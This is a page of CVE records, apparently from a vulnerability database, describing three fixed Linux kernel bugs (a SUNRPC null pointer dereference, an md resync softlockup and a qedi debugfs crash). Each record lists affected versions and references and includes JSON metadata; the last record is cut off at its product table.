In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Fix null pointer dereference in svc_rqst_free() When alloc_pages_node() returns null in svc_rqst_alloc(), the null rq_scratch_page pointer will be dereferenced when calling put_page() in svc_rqst_free(). Fix it by adding a null check. Addresses-Coverity: ("Dereference after null check")

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/3de81c1e84bf84803…
https://git.kernel.org/stable/c/1e10f58f1c9a6b667…
https://git.kernel.org/stable/c/c664aaec9aee54453…
https://git.kernel.org/stable/c/b9f83ffaa0c096b4c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 79e4e0d489c8e72b9efa388e504a036eec1550c6 , < 3de81c1e84bf84803308da3272a829a7655c5336 (git) Affected: 5191955d6fc65e6d4efe8f4f10a6028298f57281 , < 1e10f58f1c9a6b667b045513c7a4e6111c24fe7c (git) Affected: 5191955d6fc65e6d4efe8f4f10a6028298f57281 , < c664aaec9aee544538a78ba4893a44bc73a6d742 (git) Affected: 5191955d6fc65e6d4efe8f4f10a6028298f57281 , < b9f83ffaa0c096b4c832a43964fe6bff3acffe10 (git)
Linux	Linux	Affected: 5.11 Unaffected: 0 , < 5.11 (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.11.22 , ≤ 5.11.* (semver) Unaffected: 5.12.5 , ≤ 5.12.* (semver) Unaffected: 5.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-47002",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-02-28T20:23:02.003410Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:13:56.930Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T05:24:39.582Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3de81c1e84bf84803308da3272a829a7655c5336"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1e10f58f1c9a6b667b045513c7a4e6111c24fe7c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c664aaec9aee544538a78ba4893a44bc73a6d742"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b9f83ffaa0c096b4c832a43964fe6bff3acffe10"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:21.229Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sunrpc/svc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3de81c1e84bf84803308da3272a829a7655c5336",
              "status": "affected",
              "version": "79e4e0d489c8e72b9efa388e504a036eec1550c6",
              "versionType": "git"
            },
            {
              "lessThan": "1e10f58f1c9a6b667b045513c7a4e6111c24fe7c",
              "status": "affected",
              "version": "5191955d6fc65e6d4efe8f4f10a6028298f57281",
              "versionType": "git"
            },
            {
              "lessThan": "c664aaec9aee544538a78ba4893a44bc73a6d742",
              "status": "affected",
              "version": "5191955d6fc65e6d4efe8f4f10a6028298f57281",
              "versionType": "git"
            },
            {
              "lessThan": "b9f83ffaa0c096b4c832a43964fe6bff3acffe10",
              "status": "affected",
              "version": "5191955d6fc65e6d4efe8f4f10a6028298f57281",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sunrpc/svc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.11"
            },
            {
              "lessThan": "5.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.11.*",
              "status": "unaffected",
              "version": "5.11.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.12.*",
              "status": "unaffected",
              "version": "5.12.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.10.220",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.11.22",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.12.5",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.13",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nSUNRPC: Fix null pointer dereference in svc_rqst_free()\n\nWhen alloc_pages_node() returns null in svc_rqst_alloc(), the\nnull rq_scratch_page pointer will be dereferenced when calling\nput_page() in svc_rqst_free(). Fix it by adding a null check.\n\nAddresses-Coverity: (\"Dereference after null check\")"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T13:46:03.452Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3de81c1e84bf84803308da3272a829a7655c5336"
        },
        {
          "url": "https://git.kernel.org/stable/c/1e10f58f1c9a6b667b045513c7a4e6111c24fe7c"
        },
        {
          "url": "https://git.kernel.org/stable/c/c664aaec9aee544538a78ba4893a44bc73a6d742"
        },
        {
          "url": "https://git.kernel.org/stable/c/b9f83ffaa0c096b4c832a43964fe6bff3acffe10"
        }
      ],
      "title": "SUNRPC: Fix null pointer dereference in svc_rqst_free()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2021-47002",
    "datePublished": "2024-02-28T08:13:24.091Z",
    "dateReserved": "2024-02-27T18:42:55.950Z",
    "dateUpdated": "2026-05-12T10:12:21.229Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38598 (GCVE-0-2024-38598)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:45 – Updated: 2026-05-12 11:55

Title

md: fix resync softlockup when bitmap size is less than array size

Summary

In the Linux kernel, the following vulnerability has been resolved: md: fix resync softlockup when bitmap size is less than array size Is is reported that for dm-raid10, lvextend + lvchange --syncaction will trigger following softlockup: kernel:watchdog: BUG: soft lockup - CPU#3 stuck for 26s! [mdX_resync:6976] CPU: 7 PID: 3588 Comm: mdX_resync Kdump: loaded Not tainted 6.9.0-rc4-next-20240419 #1 RIP: 0010:_raw_spin_unlock_irq+0x13/0x30 Call Trace: <TASK> md_bitmap_start_sync+0x6b/0xf0 raid10_sync_request+0x25c/0x1b40 [raid10] md_do_sync+0x64b/0x1020 md_thread+0xa7/0x170 kthread+0xcf/0x100 ret_from_fork+0x30/0x50 ret_from_fork_asm+0x1a/0x30 And the detailed process is as follows: md_do_sync j = mddev->resync_min while (j < max_sectors) sectors = raid10_sync_request(mddev, j, &skipped) if (!md_bitmap_start_sync(..., &sync_blocks)) // md_bitmap_start_sync set sync_blocks to 0 return sync_blocks + sectors_skippe; // sectors = 0; j += sectors; // j never change Root cause is that commit 301867b1c168 ("md/raid10: check slab-out-of-bounds in md_bitmap_get_counter") return early from md_bitmap_get_counter(), without setting returned blocks. Fix this problem by always set returned blocks from md_bitmap_get_counter"(), as it used to be. Noted that this patch just fix the softlockup problem in kernel, the case that bitmap size doesn't match array size still need to be fixed.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/d4b9c764d48fa41ca…
https://git.kernel.org/stable/c/43771597feba89a83…
https://git.kernel.org/stable/c/3f5b73ef8fd6268cb…
https://git.kernel.org/stable/c/69296914bfd508c85…
https://git.kernel.org/stable/c/71e8e4f288e74a896…
https://git.kernel.org/stable/c/c9566b812c8f66160…
https://git.kernel.org/stable/c/5817f43ae1a118855…
https://git.kernel.org/stable/c/8bbc71315e0ae4bb7…
https://git.kernel.org/stable/c/f0e729af2eb6bee9e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 374fb914304d9b500721007f3837ea8f1f9a2418 , < d4b9c764d48fa41caa24cfb4275f3aa9fb4bd798 (git) Affected: b0b971fe7d61411ede63c3291764dbde1577ef2c , < 43771597feba89a839c5f893716df88ae5c237ce (git) Affected: 39fa14e824acfd470db4f42c354297456bd82b53 , < 3f5b73ef8fd6268cbc968b308d8eafe56fda97f3 (git) Affected: a134dd582c0d5b6068efa308bd485cf1d00b3f65 , < 69296914bfd508c85935bf5f711cad9b0fe78492 (git) Affected: be1a3ec63a840cc9e59a033acf154f56255699a1 , < 71e8e4f288e74a896b6d9cd194f3bab12bd7a10f (git) Affected: 301867b1c16805aebbc306aafa6ecdc68b73c7e5 , < c9566b812c8f66160466cc1e29df6d3646add0b1 (git) Affected: 301867b1c16805aebbc306aafa6ecdc68b73c7e5 , < 5817f43ae1a118855676f57ef7ab50e37eac7482 (git) Affected: 301867b1c16805aebbc306aafa6ecdc68b73c7e5 , < 8bbc71315e0ae4bb7e37f8d43b915e1cb01a481b (git) Affected: 301867b1c16805aebbc306aafa6ecdc68b73c7e5 , < f0e729af2eb6bee9eb58c4df1087f14ebaefe26b (git) Affected: 152bb26796ff054af50b2ee1b3ca56e364e4f61b (git) Affected: bea301c046110bf421a3ce153fb868cb8d618e90 (git)
Linux	Linux	Affected: 6.5 Unaffected: 0 , < 6.5 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:42.119Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d4b9c764d48fa41caa24cfb4275f3aa9fb4bd798"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/43771597feba89a839c5f893716df88ae5c237ce"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3f5b73ef8fd6268cbc968b308d8eafe56fda97f3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/69296914bfd508c85935bf5f711cad9b0fe78492"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/71e8e4f288e74a896b6d9cd194f3bab12bd7a10f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c9566b812c8f66160466cc1e29df6d3646add0b1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5817f43ae1a118855676f57ef7ab50e37eac7482"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8bbc71315e0ae4bb7e37f8d43b915e1cb01a481b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f0e729af2eb6bee9eb58c4df1087f14ebaefe26b"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38598",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:13:30.845814Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:54.427Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:00.392Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/md-bitmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d4b9c764d48fa41caa24cfb4275f3aa9fb4bd798",
              "status": "affected",
              "version": "374fb914304d9b500721007f3837ea8f1f9a2418",
              "versionType": "git"
            },
            {
              "lessThan": "43771597feba89a839c5f893716df88ae5c237ce",
              "status": "affected",
              "version": "b0b971fe7d61411ede63c3291764dbde1577ef2c",
              "versionType": "git"
            },
            {
              "lessThan": "3f5b73ef8fd6268cbc968b308d8eafe56fda97f3",
              "status": "affected",
              "version": "39fa14e824acfd470db4f42c354297456bd82b53",
              "versionType": "git"
            },
            {
              "lessThan": "69296914bfd508c85935bf5f711cad9b0fe78492",
              "status": "affected",
              "version": "a134dd582c0d5b6068efa308bd485cf1d00b3f65",
              "versionType": "git"
            },
            {
              "lessThan": "71e8e4f288e74a896b6d9cd194f3bab12bd7a10f",
              "status": "affected",
              "version": "be1a3ec63a840cc9e59a033acf154f56255699a1",
              "versionType": "git"
            },
            {
              "lessThan": "c9566b812c8f66160466cc1e29df6d3646add0b1",
              "status": "affected",
              "version": "301867b1c16805aebbc306aafa6ecdc68b73c7e5",
              "versionType": "git"
            },
            {
              "lessThan": "5817f43ae1a118855676f57ef7ab50e37eac7482",
              "status": "affected",
              "version": "301867b1c16805aebbc306aafa6ecdc68b73c7e5",
              "versionType": "git"
            },
            {
              "lessThan": "8bbc71315e0ae4bb7e37f8d43b915e1cb01a481b",
              "status": "affected",
              "version": "301867b1c16805aebbc306aafa6ecdc68b73c7e5",
              "versionType": "git"
            },
            {
              "lessThan": "f0e729af2eb6bee9eb58c4df1087f14ebaefe26b",
              "status": "affected",
              "version": "301867b1c16805aebbc306aafa6ecdc68b73c7e5",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "152bb26796ff054af50b2ee1b3ca56e364e4f61b",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "bea301c046110bf421a3ce153fb868cb8d618e90",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/md-bitmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.5"
            },
            {
              "lessThan": "6.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.19.291",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "5.4.251",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.10.188",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.15.121",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "6.1.39",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.4.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd: fix resync softlockup when bitmap size is less than array size\n\nIs is reported that for dm-raid10, lvextend + lvchange --syncaction will\ntrigger following softlockup:\n\nkernel:watchdog: BUG: soft lockup - CPU#3 stuck for 26s! [mdX_resync:6976]\nCPU: 7 PID: 3588 Comm: mdX_resync Kdump: loaded Not tainted 6.9.0-rc4-next-20240419 #1\nRIP: 0010:_raw_spin_unlock_irq+0x13/0x30\nCall Trace:\n \u003cTASK\u003e\n md_bitmap_start_sync+0x6b/0xf0\n raid10_sync_request+0x25c/0x1b40 [raid10]\n md_do_sync+0x64b/0x1020\n md_thread+0xa7/0x170\n kthread+0xcf/0x100\n ret_from_fork+0x30/0x50\n ret_from_fork_asm+0x1a/0x30\n\nAnd the detailed process is as follows:\n\nmd_do_sync\n j = mddev-\u003eresync_min\n while (j \u003c max_sectors)\n  sectors = raid10_sync_request(mddev, j, \u0026skipped)\n   if (!md_bitmap_start_sync(..., \u0026sync_blocks))\n    // md_bitmap_start_sync set sync_blocks to 0\n    return sync_blocks + sectors_skippe;\n  // sectors = 0;\n  j += sectors;\n  // j never change\n\nRoot cause is that commit 301867b1c168 (\"md/raid10: check\nslab-out-of-bounds in md_bitmap_get_counter\") return early from\nmd_bitmap_get_counter(), without setting returned blocks.\n\nFix this problem by always set returned blocks from\nmd_bitmap_get_counter\"(), as it used to be.\n\nNoted that this patch just fix the softlockup problem in kernel, the\ncase that bitmap size doesn\u0027t match array size still need to be fixed."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:49.362Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d4b9c764d48fa41caa24cfb4275f3aa9fb4bd798"
        },
        {
          "url": "https://git.kernel.org/stable/c/43771597feba89a839c5f893716df88ae5c237ce"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f5b73ef8fd6268cbc968b308d8eafe56fda97f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/69296914bfd508c85935bf5f711cad9b0fe78492"
        },
        {
          "url": "https://git.kernel.org/stable/c/71e8e4f288e74a896b6d9cd194f3bab12bd7a10f"
        },
        {
          "url": "https://git.kernel.org/stable/c/c9566b812c8f66160466cc1e29df6d3646add0b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/5817f43ae1a118855676f57ef7ab50e37eac7482"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bbc71315e0ae4bb7e37f8d43b915e1cb01a481b"
        },
        {
          "url": "https://git.kernel.org/stable/c/f0e729af2eb6bee9eb58c4df1087f14ebaefe26b"
        }
      ],
      "title": "md: fix resync softlockup when bitmap size is less than array size",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38598",
    "datePublished": "2024-06-19T13:45:47.309Z",
    "dateReserved": "2024-06-18T19:36:34.932Z",
    "dateUpdated": "2026-05-12T11:55:00.392Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40978 (GCVE-0-2024-40978)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:32 – Updated: 2026-05-12 11:56

Title

scsi: qedi: Fix crash while reading debugfs attribute

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: qedi: Fix crash while reading debugfs attribute The qedi_dbg_do_not_recover_cmd_read() function invokes sprintf() directly on a __user pointer, which results into the crash. To fix this issue, use a small local stack buffer for sprintf() and then call simple_read_from_buffer(), which in turns make the copy_to_user() call. BUG: unable to handle page fault for address: 00007f4801111000 PGD 8000000864df6067 P4D 8000000864df6067 PUD 864df7067 PMD 846028067 PTE 0 Oops: 0002 [#1] PREEMPT SMP PTI Hardware name: HPE ProLiant DL380 Gen10/ProLiant DL380 Gen10, BIOS U30 06/15/2023 RIP: 0010:memcpy_orig+0xcd/0x130 RSP: 0018:ffffb7a18c3ffc40 EFLAGS: 00010202 RAX: 00007f4801111000 RBX: 00007f4801111000 RCX: 000000000000000f RDX: 000000000000000f RSI: ffffffffc0bfd7a0 RDI: 00007f4801111000 RBP: ffffffffc0bfd7a0 R08: 725f746f6e5f6f64 R09: 3d7265766f636572 R10: ffffb7a18c3ffd08 R11: 0000000000000000 R12: 00007f4881110fff R13: 000000007fffffff R14: ffffb7a18c3ffca0 R15: ffffffffc0bfd7af FS: 00007f480118a740(0000) GS:ffff98e38af00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f4801111000 CR3: 0000000864b8e001 CR4: 00000000007706e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: <TASK> ? __die_body+0x1a/0x60 ? page_fault_oops+0x183/0x510 ? exc_page_fault+0x69/0x150 ? asm_exc_page_fault+0x22/0x30 ? memcpy_orig+0xcd/0x130 vsnprintf+0x102/0x4c0 sprintf+0x51/0x80 qedi_dbg_do_not_recover_cmd_read+0x2f/0x50 [qedi 6bcfdeeecdea037da47069eca2ba717c84a77324] full_proxy_read+0x50/0x80 vfs_read+0xa5/0x2e0 ? folio_add_new_anon_rmap+0x44/0xa0 ? set_pte_at+0x15/0x30 ? do_pte_missing+0x426/0x7f0 ksys_read+0xa5/0xe0 do_syscall_64+0x58/0x80 ? __count_memcg_events+0x46/0x90 ? count_memcg_event_mm+0x3d/0x60 ? handle_mm_fault+0x196/0x2f0 ? do_user_addr_fault+0x267/0x890 ? exc_page_fault+0x69/0x150 entry_SYSCALL_64_after_hwframe+0x72/0xdc RIP: 0033:0x7f4800f20b4d

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/56bec63a7fc87ad50…
https://git.kernel.org/stable/c/21c963de2e86e88f6…
https://git.kernel.org/stable/c/144d76a676b630e32…
https://git.kernel.org/stable/c/397a8990c377ee4b6…
https://git.kernel.org/stable/c/eaddb86637669f6ba…
https://git.kernel.org/stable/c/fa85b016a56b9775a…
https://git.kernel.org/stable/c/e2f433ea7d0ff7799…
https://git.kernel.org/stable/c/28027ec8e32ecbadc…

Impacted products

2 products

Vendor	Product	Version
